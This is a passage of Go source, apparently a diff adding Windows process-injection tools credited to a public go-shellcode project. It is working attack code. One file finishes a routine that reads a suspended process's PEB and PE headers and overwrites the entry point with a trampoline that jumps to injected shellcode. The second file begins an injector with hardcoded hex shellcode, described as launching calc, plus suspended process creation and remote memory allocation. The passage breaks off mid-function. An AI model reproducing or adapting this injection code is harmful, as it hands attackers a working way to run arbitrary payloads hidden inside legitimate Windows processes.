PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
|
||||
reserved11 [128]byte // BYTE
|
||||
reserved12 [1]uintptr // PVOID
|
||||
SessionId uint32 // ULONG
|
||||
}
|
||||
|
||||
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
|
||||
type PROCESS_BASIC_INFORMATION struct {
|
||||
reserved1 uintptr // PVOID
|
||||
PebBaseAddress uintptr // PPEB
|
||||
reserved2 [2]uintptr // PVOID
|
||||
UniqueProcessId uintptr // ULONG_PTR
|
||||
InheritedFromUniqueProcessID uintptr // PVOID
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId))
|
||||
}
|
||||
|
||||
var processInformation PROCESS_BASIC_INFORMATION
|
||||
var returnLength uintptr
|
||||
ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
|
||||
if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error()))
|
||||
}
|
||||
if ntStatus != 0 {
|
||||
if ntStatus == 3221225476 {
|
||||
log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus)))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Got PEB info from NtQueryInformationProcess")
|
||||
}
|
||||
|
||||
// Read from PEB base address to populate the PEB structure
|
||||
// ReadProcessMemory
|
||||
/*
|
||||
BOOL ReadProcessMemory(
|
||||
HANDLE hProcess,
|
||||
LPCVOID lpBaseAddress,
|
||||
LPVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T *lpNumberOfBytesRead
|
||||
);
|
||||
*/
|
||||
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...")
|
||||
}
|
||||
|
||||
var peb PEB
|
||||
var readBytes int32
|
||||
|
||||
_, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
|
||||
if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress))
|
||||
}
|
||||
|
||||
// Read the child program's DOS header and validate it is a MZ executable
|
||||
type IMAGE_DOS_HEADER struct {
|
||||
Magic uint16 // USHORT Magic number
|
||||
Cblp uint16 // USHORT Bytes on last page of file
|
||||
Cp uint16 // USHORT Pages in file
|
||||
Crlc uint16 // USHORT Relocations
|
||||
Cparhdr uint16 // USHORT Size of header in paragraphs
|
||||
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
|
||||
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
|
||||
SS uint16 // USHORT Initial (relative) SS value
|
||||
SP uint16 // USHORT Initial SP value
|
||||
CSum uint16 // USHORT Checksum
|
||||
IP uint16 // USHORT Initial IP value
|
||||
CS uint16 // USHORT Initial (relative) CS value
|
||||
LfaRlc uint16 // USHORT File address of relocation table
|
||||
Ovno uint16 // USHORT Overlay number
|
||||
Res [4]uint16 // USHORT Reserved words
|
||||
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
|
||||
OEMInfo uint16 // USHORT OEM information; e_oemid specific
|
||||
Res2 [10]uint16 // USHORT Reserved words
|
||||
LfaNew int32 // LONG File address of new exe header
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...")
|
||||
}
|
||||
|
||||
var dosHeader IMAGE_DOS_HEADER
|
||||
var readBytes2 int32
|
||||
|
||||
_, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
|
||||
if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew))
|
||||
}
|
||||
|
||||
// 23117 is the LittleEndian unsigned base10 representation of MZ
|
||||
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
|
||||
if dosHeader.Magic != 23117 {
|
||||
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
|
||||
}
|
||||
|
||||
// Read the child process's PE header signature to validate it is a PE
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...")
|
||||
}
|
||||
var Signature uint32
|
||||
var readBytes3 int32
|
||||
|
||||
_, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
|
||||
if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3))
|
||||
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature))
|
||||
}
|
||||
|
||||
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
|
||||
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
|
||||
if Signature != 17744 {
|
||||
log.Fatal("[!]PE Signature string was not PE")
|
||||
}
|
||||
|
||||
// Read the child process's PE file header
|
||||
/*
|
||||
typedef struct _IMAGE_FILE_HEADER {
|
||||
USHORT Machine;
|
||||
USHORT NumberOfSections;
|
||||
ULONG TimeDateStamp;
|
||||
ULONG PointerToSymbolTable;
|
||||
ULONG NumberOfSymbols;
|
||||
USHORT SizeOfOptionalHeader;
|
||||
USHORT Characteristics;
|
||||
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
|
||||
*/
|
||||
|
||||
type IMAGE_FILE_HEADER struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...")
|
||||
}
|
||||
var peHeader IMAGE_FILE_HEADER
|
||||
var readBytes4 int32
|
||||
|
||||
_, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
|
||||
if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4))
|
||||
switch peHeader.Machine {
|
||||
case 34404: // 0x8664
|
||||
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)")
|
||||
case 332: // 0x14c
|
||||
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)")
|
||||
default:
|
||||
fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine))
|
||||
}
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// Read the child process's PE optional header to find it's entry point
|
||||
/*
|
||||
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
|
||||
typedef struct _IMAGE_OPTIONAL_HEADER64 {
|
||||
WORD Magic;
|
||||
BYTE MajorLinkerVersion;
|
||||
BYTE MinorLinkerVersion;
|
||||
DWORD SizeOfCode;
|
||||
DWORD SizeOfInitializedData;
|
||||
DWORD SizeOfUninitializedData;
|
||||
DWORD AddressOfEntryPoint;
|
||||
DWORD BaseOfCode;
|
||||
ULONGLONG ImageBase;
|
||||
DWORD SectionAlignment;
|
||||
DWORD FileAlignment;
|
||||
WORD MajorOperatingSystemVersion;
|
||||
WORD MinorOperatingSystemVersion;
|
||||
WORD MajorImageVersion;
|
||||
WORD MinorImageVersion;
|
||||
WORD MajorSubsystemVersion;
|
||||
WORD MinorSubsystemVersion;
|
||||
DWORD Win32VersionValue;
|
||||
DWORD SizeOfImage;
|
||||
DWORD SizeOfHeaders;
|
||||
DWORD CheckSum;
|
||||
WORD Subsystem;
|
||||
WORD DllCharacteristics;
|
||||
ULONGLONG SizeOfStackReserve;
|
||||
ULONGLONG SizeOfStackCommit;
|
||||
ULONGLONG SizeOfHeapReserve;
|
||||
ULONGLONG SizeOfHeapCommit;
|
||||
DWORD LoaderFlags;
|
||||
DWORD NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
|
||||
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
|
||||
*/
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER64 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
/*
|
||||
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
|
||||
typedef struct _IMAGE_OPTIONAL_HEADER {
|
||||
WORD Magic;
|
||||
BYTE MajorLinkerVersion;
|
||||
BYTE MinorLinkerVersion;
|
||||
DWORD SizeOfCode;
|
||||
DWORD SizeOfInitializedData;
|
||||
DWORD SizeOfUninitializedData;
|
||||
DWORD AddressOfEntryPoint;
|
||||
DWORD BaseOfCode;
|
||||
DWORD BaseOfData;
|
||||
DWORD ImageBase;
|
||||
DWORD SectionAlignment;
|
||||
DWORD FileAlignment;
|
||||
WORD MajorOperatingSystemVersion;
|
||||
WORD MinorOperatingSystemVersion;
|
||||
WORD MajorImageVersion;
|
||||
WORD MinorImageVersion;
|
||||
WORD MajorSubsystemVersion;
|
||||
WORD MinorSubsystemVersion;
|
||||
DWORD Win32VersionValue;
|
||||
DWORD SizeOfImage;
|
||||
DWORD SizeOfHeaders;
|
||||
DWORD CheckSum;
|
||||
WORD Subsystem;
|
||||
WORD DllCharacteristics;
|
||||
DWORD SizeOfStackReserve;
|
||||
DWORD SizeOfStackCommit;
|
||||
DWORD SizeOfHeapReserve;
|
||||
DWORD SizeOfHeapCommit;
|
||||
DWORD LoaderFlags;
|
||||
DWORD NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
|
||||
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
|
||||
*/
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32 // Different from 64 bit header
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...")
|
||||
}
|
||||
|
||||
var optHeader64 IMAGE_OPTIONAL_HEADER64
|
||||
var optHeader32 IMAGE_OPTIONAL_HEADER32
|
||||
var errReadProcessMemory5 error
|
||||
var readBytes5 int32
|
||||
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
|
||||
} else if peHeader.Machine == 332 { // 0x14c
|
||||
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
|
||||
} else {
|
||||
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5))
|
||||
}
|
||||
if *debug {
|
||||
if peHeader.Machine == 332 { // 0x14c
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint)))
|
||||
}
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint)))
|
||||
}
|
||||
}
|
||||
|
||||
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
|
||||
var ep uintptr
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
|
||||
} else {
|
||||
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
var epBuffer []byte
|
||||
var shellcodeAddressBuffer []byte
|
||||
// x86 - 0xb8 = mov eax
|
||||
// x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
epBuffer = append(epBuffer, byte(0x48))
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
|
||||
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
|
||||
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else {
|
||||
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// 0xff ; 0xe0 = jmp [r|e]ax
|
||||
epBuffer = append(epBuffer, byte(0xff))
|
||||
epBuffer = append(epBuffer, byte(0xe0))
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer))
|
||||
}
|
||||
|
||||
_, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
|
||||
|
||||
if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Successfully overwrote the AddressofEntryPoint")
|
||||
}
|
||||
|
||||
// Resume the child process
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ResumeThread...")
|
||||
}
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
if errResumeThread != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[+]Process resumed and shellcode executed")
|
||||
}
|
||||
|
||||
// Close the handle to the child process
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling CloseHandle on child process...")
|
||||
}
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
if errCloseProcHandle != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the hand to the child process thread
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
|
||||
}
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
if errCloseThreadHandle != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
||||
}
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o goCreateProcess.exe ./CreateProcess.go
|
||||
// test STDERR go run ./CreateProcess.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf"
|
||||
@@ -0,0 +1,755 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateProcessWithPipe/main.go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
|
||||
args := flag.String("args", "", "Program command line arguments")
|
||||
flag.Usage = func() {
|
||||
flag.PrintDefaults()
|
||||
os.Exit(0)
|
||||
}
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
|
||||
}
|
||||
|
||||
// Load DLLs and Procedures
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading supporting procedures...")
|
||||
}
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
||||
|
||||
// Create anonymous pipe for STDIN
|
||||
// TODO I don't think I need this for anything
|
||||
var stdInRead windows.Handle
|
||||
var stdInWrite windows.Handle
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDIN..."))
|
||||
}
|
||||
errStdInPipe := windows.CreatePipe(&stdInRead, &stdInWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
|
||||
if errStdInPipe != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error creating the STDIN pipe:\r\n%s", errStdInPipe.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully created STDIN pipe"))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]STDIN pipe read handle %v", stdInRead))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]STDIN pipe write handle %v", stdInWrite))
|
||||
}
|
||||
|
||||
// Create anonymous pipe for STDOUT
|
||||
var stdOutRead windows.Handle
|
||||
var stdOutWrite windows.Handle
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDOUT..."))
|
||||
}
|
||||
errStdOutPipe := windows.CreatePipe(&stdOutRead, &stdOutWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
|
||||
if errStdOutPipe != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error creating the STDOUT pipe:\r\n%s", errStdOutPipe.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully created STDOUT pipe"))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe read handle %v", stdOutRead))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe write handle %v", stdOutWrite))
|
||||
}
|
||||
|
||||
// Create anonymous pipe for STDERR
|
||||
var stdErrRead windows.Handle
|
||||
var stdErrWrite windows.Handle
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDERR..."))
|
||||
}
|
||||
errStdErrPipe := windows.CreatePipe(&stdErrRead, &stdErrWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
|
||||
if errStdErrPipe != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error creating the STDERR pipe:\r\n%s", errStdErrPipe.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully created STDERR pipe"))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]STDERR pipe read handle %v", stdErrRead))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe write handle %v", stdErrWrite))
|
||||
}
|
||||
|
||||
// Create child proccess in suspended state
|
||||
/*
|
||||
BOOL CreateProcessW(
|
||||
LPCWSTR lpApplicationName,
|
||||
LPWSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCWSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOW lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
*/
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
|
||||
}
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
StdInput: stdInRead,
|
||||
StdOutput: stdOutWrite,
|
||||
StdErr: stdErrWrite,
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
ShowWindow: 1,
|
||||
}
|
||||
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
|
||||
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully created the %s prcoess in PID %d", *program, procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// Allocate memory in child process
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
